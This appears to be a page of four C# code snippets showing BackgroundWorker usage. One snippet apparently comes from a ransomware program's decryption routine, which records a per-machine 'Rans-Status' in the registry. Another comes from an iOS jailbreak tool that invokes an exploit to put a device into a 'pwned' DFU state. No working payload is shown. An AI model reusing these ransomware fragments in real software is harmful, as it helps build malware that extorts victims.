Esempio n. 1
0
        public void Dec()
        {
            try
            {
                BackgroundWorker1.WorkerSupportsCancellation = true;
                BackgroundWorker1.RunWorkerAsync();
                BackgroundWorker2.WorkerSupportsCancellation = true;
                BackgroundWorker2.RunWorkerAsync();
                BackgroundWorker3.WorkerSupportsCancellation = true;
                BackgroundWorker3.RunWorkerAsync();
                while (Finished != 3)
                {
                    System.Threading.Thread.Sleep(50);
                }
                if (OK)
                {
                    Registry.SetValue(@"HKEY_CURRENT_USER\Software\" + HWID(), "Rans-Status", "Decrypted");
                    Interaction.MsgBox("Done!", MsgBoxStyle.SystemModal);
                }

                Finished           = 0;
                Pass               = string.Empty;
                btnDecrypt.Enabled = true;
                btnDecrypt.Text    = "Decrypt";
                txtKey.ReadOnly    = false;
            }
            catch (Exception ex)
            {
            }
        }
Esempio n. 2
0
 public void GoGoGadgetiFaith()
 {
     QuitDFU              = true;
     DFUConnected         = false;
     ResetDFUInstructions = true;
     iDetector();
     //Shutdown iTunes...
     //Shell("cmd /c taskkill /f /t /im iTunes.exe", AppWinStyle.Hide)
     //Shell("cmd /c taskkill /f /t /im iTunesHelper.exe", AppWinStyle.Hide)
     //Go...
     MDIMain.TopMost = true;
     MDIMain.Activate();
     if (iREB_mode == true)
     {
         MDIMain.TopMost = true;
         MDIMain.Activate();
         PictureBox2.Visible  = true;
         ProgressBar1.Visible = true;
         PictureBox2.BringToFront();
         ProgressBar1.BringToFront();
         BackgroundWorker2.RunWorkerAsync();
         SaveToDisk("s-irecovery.exe", temppath + "\\s-irecovery.exe");
         iRecovery_exploit();
         MDIMain.TopMost = false;
         Interaction.MsgBox("Your device is now in a PWNED DFU state (black screen)." + Strings.Chr(13) + Strings.Chr(13) + "You may now launch iTunes and do SHIFT + Restore" + Strings.Chr(13) + "to the custom *signed* IPSW located on your desktop!", MsgBoxStyle.Information);
         CleaniREB();
     }
     else
     {
         Run.MdiParent = MDIMain;
         Run.Show();
         this.Dispose();
     }
 }
Esempio n. 3
0
 private void BackgroundWorker1RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
 {
     for (var i = 1; i < _allBeatmap.Count; i++)
     {
         while (i < _allBeatmap.Count && _allBeatmap[i].Location == _allBeatmap[i - 1].Location)
         {
             _allBeatmap.RemoveAt(i);
         }
     }
     DelDulp_ProgressBar.Maximum = _allBeatmap.Count;
     DelDulp_ProgressBar.Value   = 0;
     BackgroundWorker2.RunWorkerAsync(0);
 }
Esempio n. 4
0
 private void frmSplashScreen_Shown(object sender, EventArgs e)
 {
     bgThread.RunWorkerAsync();
 }